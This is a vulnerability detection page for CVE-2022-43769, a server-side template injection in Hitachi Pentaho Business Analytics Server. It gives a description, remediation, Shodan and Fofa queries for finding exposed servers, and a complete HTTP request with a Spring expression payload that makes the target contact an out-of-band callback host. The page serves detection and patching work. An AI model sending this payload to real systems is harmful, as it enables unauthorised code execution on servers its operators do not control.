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CVE-2022-43769: Hitachi Pentaho Business Analytics Server - Remote Code Execution

TitleHitachi Pentaho Business Analytics Server - Remote Code Execution
Authordwbzn
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
RemediationUpgrade to 9.4 with Service Pack 9.4.0.1. For version 9.3, recommend updating to Service Pack 9.3.0.2.
CVSS Score7.2
EPSS Score0.93976
CVE IDCVE-2022-43769
CWE IDCWE-94,CWE-74
Shodan Queryhttp.favicon.hash:1749354953
Fofa Queryicon_hash=1749354953
Tags cve cve2022 packetstorm rce ssti pentaho hitachi kev vkev vuln

🔍 Vulnerability Description

Hitachi Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x, is susceptible to remote code execution via server-side template injection. Certain web services can set property values which contain Spring templates that are interpreted downstream, thereby potentially enabling an attacker to execute malware, obtain sensitive information, modify data, and/or perform unauthorized operations without entering necessary credentials.

🌐 HTTP Request

GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('d5jmup1le0o0vm4m48qgcr5g7kdpd1535.oast.online')}&mgrDn=a&pwd=a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43769.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-43769.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A